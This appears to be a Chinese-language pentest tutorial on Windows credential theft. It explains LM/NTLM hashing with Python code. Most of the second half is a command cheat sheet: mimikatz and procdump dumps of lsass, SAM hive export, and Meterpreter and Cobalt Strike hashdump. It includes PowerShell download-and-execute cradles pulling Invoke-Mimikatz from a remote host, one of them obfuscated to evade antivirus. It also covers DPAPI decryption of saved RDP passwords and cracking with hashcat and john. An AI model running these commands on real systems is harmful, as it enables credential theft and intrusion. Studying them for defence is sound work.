Windows密码凭证获取

Windows HASH

什么是HASH

  • hash,一般翻译做散列,或音译为哈希,是使用一种加密函数进行计算后的结果;
  • 这个加密函数对一个任意长度的字符串数据进行一次数学加密函数运算,然后返回一个固定长度的字符串。
  • 这种转换是一种压缩映射,也就是,散列值的空间通常远小于输入的空间,不同的输入可能会散列成相同的输出,所以不可能从散列值来确定唯一的输入值。
  • 简单的说就是一种将任意长度的消息压缩到某一固定长度的消息摘要的函数。

Windows HASH简介

Windows 中加密过的密码口令,我们称之为 Windows Hash

Windows 系统使用两种方法对用户的密码进行哈希处理,分别是 LAN Manager(LM)哈希和 NTLAN Manager(NTLM) 哈希。

现在已经有了更新的 NTLMv2 以及 Kerberos 验证体系。

HASH格式

LM哈希密码最大长度为14,密码长度超过14位使用NTLM哈希

2000 xp 2003 Vista win7 2008 2012
LM
NTLM

前面三个系统,当密码超过14位的时候会采用NTLM加密

1
2
3
用户名称:RID:LM-HASH值:NTLM-HASH值

test:1003:E52CAC67419A9A22664345140A852F61:67A54E1C9058FCA16498061B96863248:::

Windows 的系统密码 hash 默认情况下一般由两部分组成:第一部分是 LM-HASH,第二部分是NTLM-HASH。

LM-HASHAAD3B435B51404EEAAD3B435B51404EE 这表示 空密码 或者是未使用 LM_HASH

HASH存储位置

Windows Hash 一般存储在两个地方:

  • SAM 文件,存储在本机,对应本地用户,文件位置:C:\windows\system32\config\SAM
  • NTDS.DIT 文件,存储在域控上,对应域用户,文件位置:C:\windows\NTDS\NTDS.dit

LM-HASH

LM-HASH简介

  • LAN Manager(LM)哈希是 Windows 系统所用的第一种密码哈希算法,是一种较古老的Hash,在LAN Manager协议中使用,非常容易通过暴力破解获取明文凭据。
  • 它只有一个版本且一直用到了NT LAN Manager(NTLM)哈希的出现,
  • 在 Windows XP / Windows Server 2003 之前, 它是Windows上占主导地位的密码存储算法。
  • 从 Windows Vista / Windows Server 2008 开始,默认情况下已禁用该算法。

LM 算法是在 DES 基础上实现的,不区分字母大小写。

LM-HASH生成原理

假设用户密码为:password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
1. 将用户密码所有字符转换为大写
PASSWORD

2. 密码转换为16进制字符串,不足14字节用0在后面补全

50415353574f5244

50415353574f5244000000000000

3. 密码的16进制字符串被分成两个7byte部分

50415353574f52 44000000000000

4. 每部分转换成比特流,并且长度为56bit,长度不足使用0在左边补齐长度

50415353574f52:
0 1010000010000010101001101010011010101110100111101010010

44000000000000:
0 1000100000000000000000000000000000000000000000000000000

5. 将每一半转换为位,并且每7位之后将添加一个奇偶校验位(0),因此结果为64位
0101000 0010000 0101010 0110101 0011010 1011101 0011110 1010010
01010000 00100000 01010100 01101010 00110100 10111010 00111100 10100100
50 20 54 6a 34 ba 3c a4

0100010 0000000 0000000 0000000 0000000 0000000 0000000 0000000
01000100 00000000 00000000 00000000 00000000 00000000 00000000 00000000
44 00 00 00 00 00 00 00

6. 在将这些奇偶校验位相加之后,我们将从两个预先生成的两半中获得两个密钥

5020546a34ba3ca4
4400000000000000

7. 分别用生成的两个密钥作为 key 对 KGS!@#$% 进行DES加密

E52CAC67419A9A22
4A3B108F3FA6CB6D

8. 将加密后的两组拼接在一起,得到LM HASH值

E52CAC67419A9A224A3B108F3FA6CB6D

使用 python 计算 LM HASH 值:

1
python3 -c "from passlib.hash import lmhash;print(lmhash.hash('password'))"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#python3
#coding=utf-8
import re
import binascii
from pyDes import *
def DesEncrypt(str, Des_Key):
k = des(binascii.a2b_hex(Des_Key), ECB, pad=None)
EncryptStr = k.encrypt(str)
return binascii.b2a_hex(EncryptStr)

def group_just(length,text):
# text: 00110001001100100011001100110100001101010011011000000000
text_area = re.findall(r'.{%d}' % int(length), text) # ['0011000', '1001100', '1000110', '0110011', '0100001', '1010100', '1101100', '0000000']
print(text_area)
text_area_padding = [f'{i}0' for i in text_area] # ['00110000', '10011000', '10001100', '01100110', '01000010', '10101000', '11011000', '00000000']
print(text_area_padding)
hex_str = ''.join(text_area_padding) # 0011000010011000100011000110011001000010101010001101100000000000
hex_int = hex(int(hex_str, 2))[2:].rstrip("L") # 30988c6642a8d800
if hex_int == '0':
hex_int = '0000000000000000'
return hex_int

def lm_hash(password):
# 1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来在后面补全。
pass_hex = password.upper().encode("utf-8").hex().ljust(28,'0') # 3132333435360000000000000000
# 2. 密码的16进制字符串被分成两个7byte部分。
left_str = pass_hex[:14] # 31323334353600
right_str = pass_hex[14:] # 00000000000000
# 3. 每部分转换成比特流,并且长度为56bit,长度不足使用0在左边补齐长度
left_stream = bin(int(left_str, 16)).lstrip('0b').rjust(56, '0') # 00110001001100100011001100110100001101010011011000000000
right_stream = bin(int(right_str, 16)).lstrip('0b').rjust(56, '0') # 00000000000000000000000000000000000000000000000000000000
# 4. 再分7bit为一组,每组末尾加0,再组成一组。
# 0011000 1001100 1000110 0110011 0100001 1010100 1101100 0000000
# 00110000 10011000 10001100 01100110 01000010 10101000 11011000 00000000
# 30 98 8c 66 42 a8 d8 00
left_stream = group_just(7,left_stream) # 30988c6642a8d800
right_stream = group_just(7,right_stream) # 0000000000000000
# 5. 上面步骤得到的二组内容,分别作为key对 "KGS!@#$%"(4b47532140232425)进行DES加密。
left_lm = DesEncrypt('KGS!@#$%',left_stream).decode("utf-8") # 44efce164ab921ca
right_lm = DesEncrypt('KGS!@#$%',right_stream).decode("utf-8") # aad3b435b51404ee
# 6. 将加密后的两组内容拼接在一起,得到最终的LM HASH值。
return left_lm + right_lm

if __name__ == '__main__':
hash = lm_hash("password")
print(hash)

LM-HASH缺点

  • 密码长度最大只能为14个字符
  • 密码不区分大小写
  • 如果密码强度是小于7位,那么第二个分组加密后的结果肯定是 aad3b435b51404ee,如果我们看到
    lm hash的结尾是aad3b435b51404ee,就可以很轻易的发现密码强度少于7位
  • 一个14个字符的密码分成7+7个字符,并且分别为这两个半部分计算哈希值。这种计算哈希值的方式使破解难度成倍增加,因为攻击者需要将7个字符(而不是14个字符)强制暴力破解。这使得14个字符的密码的有效强度等于,或者是7个字符的密码的两倍,该密码的复杂度明显低于14个字符的密码的理论强度
  • DES密码强度不高

NTLM-HASH

NTLM-HASH简介

NT LAN Manager(NTLM)哈希是Windows系统认可的另一种算法,用于替代古老的LM-Hash,一般指Windows系统下Security Account Manager(SAM)中保存的用户密码hash,在Windows Vista/Windows 7/Windows Server 2008以及后面的系统中,NTLM哈希算法默认启用。

NTLM哈希,是一种单向哈希算法,Windows将用户的密码计算成NTLM哈希之后才存储在电脑中。

NTLM-HASH生成原理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#假设用户密码为: 123456

1. 首先将密码字符串转化为十进制ASCII字符串

字 符: 1 2 3 4 5 6
ASCII:49 50 51 52 53 54

2. 十进制ASCII字符串再转换为十六进制字符串

十 进 制:49 50 51 52 53 54
十六进制:31 32 33 34 35 36

3. 十六进制字符串再转化为Unicode字符串

31 32 33 34 35 36 -> 310032003300340035003600

4. 使用MD4摘要算法对Unicode字符串进行Hash计算

310032003300340035003600 -> 32ed87bdb5fdc5e9cba88547376818d4

5. 产生一个16字节的值,即NTLM-HASH

32ed87bdb5fdc5e9cba88547376818d4
  • HashCalc计算MD4

image-20230831213459248

  • Python2计算NTLM-HASH
1
python2 -c "import hashlib,binascii;print binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest())"
  • Python3计算NTLM-HASH
1
python3 -c "import hashlib,binascii;print(binascii.hexlify(hashlib.new('md4','123456'.encode('utf-16le')).digest()).decode())"

Windows认证基础

Windows的认证包括三个部分:

  • 本地认证:用户直接操作计算机登录账户
  • 网络认证:远程连接到工作组中的某个设备
  • 域认证:登陆到域环境中的某个设备

NTLM hash认证
kerberos认证

Windows本地认证

167035875c389b8578ad06072e27c22

winlogon是用来管理用户登录和登出
lsass是用于本地安全和登陆策略

  1. 用户输入密码 (winlogon.exe)

  2. 系统收到密码后将用户输入的密码计算成 NTLM Hash

  3. 与 SAM 数据库(%SystemRoot%\system32\config\sam)中该用户的哈希比对

  4. 匹配则登陆成功,不匹配则登陆失败

本地认证中用来处理用户输入密码的进程为 lsass.exe ,密码会在这个进程中明文保存,供该进程将密码计算成 NTLM Hash 与 SAM 进行比对,我们使用 mimikatz 来获取的明文密码,便是在这个进程中读取到的

Windows网络认证

网络认证即在工作组环境下远程登陆另一台电脑所采用的认证机制

89c4a2c5886f0fb1ec0529b37d88f4a

NTLM 协议的认证过程分为三步,也叫挑战相应机制:

1.协商

双方确定使用的协议版本,NTLM 存在V1和V2两个版本,即 Net-NTLM v1 hash、Net-NTLM v2hash,具体区别就是加密方式不同
在NTLM认证中,NTLM响应分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge 和加密算法

2.质询

挑战(Challenge)/ 响应(Response)认证机制的核心

  1. 客户端向服务器端发送用户信息(用户名)请求

  2. 服务器接受到请求后,判断本地用户列表是否存在客户端发送的用户名,如果没有返回认证失败,如果有,生成一个16位的随机数,被称之为”Challenge”, 然后使用登录用户名对应的NTLM Hash加密Challenge(16位随机字符), 生成Challenge1保存在内存中。同时,生成Challenge1后,将Challenge(16位随机字符)明文发送给客户端。

  3. 客户端接受到Challenge后,使用自己提供的账户的密码转换成对应的NTLM Hash,然后使用这个
    NTLM Hash加密Challenge生成Response,然后将Response发送至服务器端。

3.验证

在质询完成后,验证结果,是认证的最后一步。

服务端收到客户端发送的Response后,与之前保存在内存中的Channelge1比较,如果相等认证通过其中,经过NTLM Hash加密Challenge的结果在网络协议中称之为Net NTLM Hash(不能直接用来进行哈希传递攻击,但可以通过暴力破解来获取明文密码)

其中的关键点在于:第二步中客户端发送的是 NTLM 哈希值与随机字符串加密的结果,而这个 NTLM哈希是由用户输入的密码本地计算得出的,所以在这个步骤中,只要能提供正确的 NTLM 哈希即使不知道正确的密码也可通过认证

Net-NTLM Hash破解

NTLMv2 的格式为:

1
username::domain:challenge:HMAC-MD5:blob
1
2
3
4
5
hashcat -m 5600 net-ntlm /tmp/password.list -o found.txt --force
-m:hash-type,5600对应NetNTLMv2
详细参数可查表:https://hashcat.net/wiki/doku.php
-o:输出文件 字典文件为/tmp/password.list
--force:代表强制执行,测试系统不支持Intel OpenCL

系统用户凭证获取

Mimikatz 猕猴桃

https://github.com/gentilkiwi/mimikatz

Mimikatz是一个开源的项目,用于Windows下读取已经登录过的用户Hash和明文密码,要顺利的读取密码必须具有Administrator或者System权限

  • 本地交互式
1
2
3
4
mimikztz.exe
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # exit

image-20230831230301774

1
2
3
4
5
6
mimikztz.exe
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # log res.txt
mimikatz # lsadump::sam
mimikatz # lsadump::secrets

image-20230903131754010

  • 本地非交互式
1
2
3
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > log.txt

mimikatz.exe "log re.txt" "privilege::debug" "sekurlsa::logonpasswords" "exit"
1
mimikatz.exe "log res.txt" "privilege::debug" "token::elevate" "lsadump::sam" "lsadump::secrets" "exit"
  • Powershell本地加载mimikatz脚本

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1

https://gitee.com/yijingsec/PowerSploit/raw/master/Exfiltration/Invoke-Mimikatz.ps1

https://raw.githubusercontent.com/Mr-xn/Penetration_Testing_POC/master/tools/InvokeMimikatz.ps1

1
2
3
powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords"'

powershell -ep bypass Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "lsadump::sam"'
  • Powershell远程加载mimikatz脚本
1
2
3
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.81.154:8000/Invoke-Mimikatz.ps1');Invoke-Mimikatz –DumpCreds

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz-DumpCreds
  • Powershell混淆
1
powershell -c "('IEX '+'(Ne'+'w-O'+'bject Ne'+'t.W'+'ebClien'+'t).Do'+'wnloadS'+'trin'+'g'+'('+'1vchttp://'+'192.168.81'+'.154:8000/'+'Inv'+'oke-Mimik'+'a'+'tz.'+'ps11v'+'c)'+';'+'I'+'nvoke-Mimika'+'tz').REplaCE('1vc',[STRing][CHAR]39)|IeX"
  • 不同版本执行方式
1
2
3
4
5
6
7
8
2.X
privilege::debug # 提升权限
sekurlsa::logonpasswords # 抓取密码

1.X
privilege::debug # 提升权限
inject::process lsass.exe sekurlsa.dll # 注入 sekurlsa.dll 到 lsass.exe 进程里
@getLogonPasswords # 获取密码

Get-Hashes

Powershell 加载 Get-PassHashes脚本:

https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1

1
powershell IEX(new-object net.webclient).downloadstring('http://192.168.81.154:8000/GetPassHashes.ps1');Get-PassHashes

Procdump+Mimikatz

ProcDump是一个命令行程序,可以很方便地将系统正在运行的进程转存储生成为dump文件,又因为是微软自家出品,所以可以过很多杀软。

Procdump下载: https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

  • Procdump导出lsass 进程
1
2
3
4
5
For 32bits:
procdump.exe -accepteula -ma lsass.exe lsass.dmp

For 64bits:
procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp
  • 使用 mimikatz 还原密码:
1
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords" "exit"

注册表导出Hash

1
2
3
reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv
reg save HKLM\SECURITY security.hiv
  • Mimikatz
1
mimikatz.exe "lsadump::sam /system:system.hiv /sam:sam.hiv" "exit"
  • Impacket

https://github.com/SecureAuthCorp/impacket/tree/master/examples
https://github.com/maaaaz/impacket-examples-windows

1
python3 secretsdump.py -sam sam.hiv -security security.hiv -system system.hiv LOCAL

LaZagne

https://github.com/AlessandroZ/LaZagne

1
2
3
4
5
6
git clone https://github.com/AlessandroZ/LaZagne.git
cd LaZagne/
python3 -m pip install -r requirements.txt
cd Windows/
python3 laZagne.py -h
python3 laZagne.py all

https://github.com/AlessandroZ/LaZagne/releases
lazagne.exe all

Meterpreter获取Hash

  • 获得Meterpreter会话

  • Hashdump

1
meterpreter > run post/windows/gather/hashdump
1
run post/windows/gather/smart_hashdump
  • Mimikatz

Hashdump 使用的是 mimikatz 的部分功能

1
2
load kiwi # 加载mimikatz模块
help kiwi # 查看模块功能帮助
1
creds_all # 列举系统中的明文密码
1
lsa_dump_sam # 读取sam文件
1
2
kiwi_cmd -h # 查看基础命令
kiwi_cmd :: # 查看有哪些模块,kiwi_cmd命令后面接mimikatz的模块命令
1
kiwi_cmd lsadump::sam # 从Windows的sam文件中读取密码hash值
1
kiwi_cmd sekurlsa::logonpasswords # 获取明文密码

CobaltStrike获取Hash

1
beacon> hashdump
1
2
beacon> logonpasswords
beacon> mimikatz sekurlsa::logonpasswords
1
beacon> mimikatz lsadump::sam

Cobaltstrike中通过命令获取到的明文密码及密码Hash都记录在密码凭证视图窗口

Windows Hash破解

在线破解

https://www.cmd5.com/
https://www.somd5.com/

Hashcat破解

https://www.sqlsec.com/2019/10/hashcat.html

  • Hashcat破解LM Hash
1
hashcat -a 0 -m 3000 --force 'E52CAC67419A9A224A3B108F3FA6CB6D' password.txt
  • Hashcat 破解 NTLM Hash
1
hashcat -a 0 -m 1000 --force '1F2916B7561885601287D5F693567A34' password.txt

其他密码凭证获取

RDP连接密码解密

  • 查看本地机器本地连接过的目标机器
1
reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s

image-20230903094346084

  • 查看本地用户此目录下是否存有RDP密码文件
1
dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*

image-20230903094532095

  • 查看保存在本地的远程主机信息
1
cmdkey /list

image-20230903094610673

  • 选择一个密码文件对其进行解密

此处需要记录下 guidMasterKey 的值,待会要通过 guidMasterKey 找对应的 Masterkey。

1
2
3
privilege::debug
dpapi::cred /in:C:\Users\97502\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8
120E3ADA266

guidMasterKey : {34dc48bb-0af9-4925-bf07-f54ba502a40a}

  • 根据 guidMasterKey 找到对应的 Masterkey
1
sekurlsa::dpapi
  • 通过Masterkey解密pbData数据,拿到明文RDP连接密码
1
dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\1E85A94EE31F584E484B8120E3ADA266 /masterkey:f391aa638da6b6d846685f84660ee638bd6d3122214de34285b4dd3bd827a5c3925c5bd7a448c175457c19b2556c9f6f5248ef9256060a5b74c1264d3a5a99f8

List-RDP-Connections-History

Powershell脚本获取RDP连接记录:

https://github.com/3gstudent/List-RDP-Connections-History

Cobaltstrike

1
2
3
4
5
6
7
beacon> shell reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Ser
vers" /s
[*] Tasked beacon to run: reg query "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /s
[+] host called home, sent: 113 bytes
[+] received output:
HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers\10.10.10.6
UsernameHint REG_SZ MINGY\Administrator
1
2
3
4
5
6
7
8
9
10
11
12
beacon> shell dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
[*] Tasked beacon to run: dir /a %userprofile%\AppData\Local\Microsoft\Credentials\*
[+] host called home, sent: 89 bytes
[+] received output:
驱动器 C 中的卷没有标签。
卷的序列号是 C883-5B4B
C:\Users\Administrator\AppData\Local\Microsoft\Credentials 的目录
2020/09/04 13:24 <DIR> .
2020/09/04 13:24 <DIR> ..
2020/09/04 13:24 434 8CAC243098BA9DDD4EAB58433B85D7F0
1 个文件 434 字节
2 个目录 56,959,107,072 可用字节
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
beacon> shell cmdkey /list
[*] Tasked beacon to run: cmdkey /list
[+] host called home, sent: 43 bytes
[+] received output:
当前保存的凭据:
目标: Domain:target=TERMSRV/10.10.10.6
类型: 域密码
用户: WIN7-1\administrator
本地机器持续时间
目标: LegacyGeneric:target=MINGY\WIN7-1
类型: 普通
用户: MINGY\WIN7-1
目标: LegacyGeneric:target=WIN7-1\Administrator
类型: 普通
用户: WIN7-1\Administrator
1
mimikatz "privilege::debug" "dpapi::cred /in:C:\Users\mingy\AppData\Local\Microsoft\Credentials\8CAC243098BA9DDD4EAB58433B85D7F0" "exit"

MySQL数据库密码破解

一旦获取了网站一定的权限后,如果能够获取MySQL中保存用户数据,通过解密后,即可通过正常途径来访问数据库;一方面可以直接操作数据库中的数据,另一方面可以用来提升权限。

MySQL数据库用户密码跟其它数据库用户密码一样,在应用系统代码中都是以明文出现的,在获取文件读取权限后即可直接从数据库连接文件中读取

一般都包含有数据库类型,物理位置,用户名和密码等信息

MySQL数据库文件类型

MYSQL数据库文件共有frm、MYD和MYI三种文件

  • “.frm” 是描述表结构的文件
  • “.MYD” 是表的数据文件
  • “.MYI” 是表数据文件中任何索引的数据树

一般是单独存在一个文件夹中

与用户有关的一共有三个文件即user.frm、user.MYD和user.MYI,MySQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。

MySQL加密方式

MYSQL数据库的认证密码有两种方式

MYSQL 4.1版本之前是MYSQL323加密,MYSQL 4.1和之后的版本都是MYSQLSHA1加密

MYSQL数据库中自带 Old_Password(str) 和 Password(str)函数,它们均可以在MYSQL数据库里进行查询,前者是MYSQL323加密,后者是MYSQLSHA1方式加密。

1
2
3
4
5
6
7
mysql> select Password('root');
+-------------------------------------------+
| Password('root') |
+-------------------------------------------+
| *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B |
+-------------------------------------------+
1 row in set

MYSQL323加密中生成的是16位字符串,而在MYSQLSHA1中生成的是41位字符串,其*是不加入实
际的密码运算中,MYSQLSHA1加密的密码的实际位数是40位

获取MySQL数据库密码hash值

用winhex编辑器打开user.MYD文件,使用二进制模式查看,即可得到密码Hash值:

1
81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

Hash破解

  • 在线网站破解

www.cmd5.com
www.somd5.com

  • hashcat破解
1
hashcat.exe -m 300 -a 3 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
  • john the ripper 破解
1
2
3
4
5
john --list=formats | grep mysql

echo '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B' > mysql.hash

john --format=mysql-sha1 mysql.hash

应用程序密码解密

对密码已保存在 Windwos 系统上的部分程序进行解析,包括:
Navicat,TeamViewer,FileZilla,WinSCP,Xmangager系列产品(Xshell,Xftp)。

https://github.com/uknowsec/SharpDecryptPwd
https://github.com/RowTeam/SharpDecryptPwd

HackBrowserData 是一个浏览器数据(密码|历史记录|Cookie|书签|信用卡|下载记录|localStorage|浏览器插件)的导出工具,支持全平台主流浏览器。

https://github.com/moonD4rk/HackBrowserData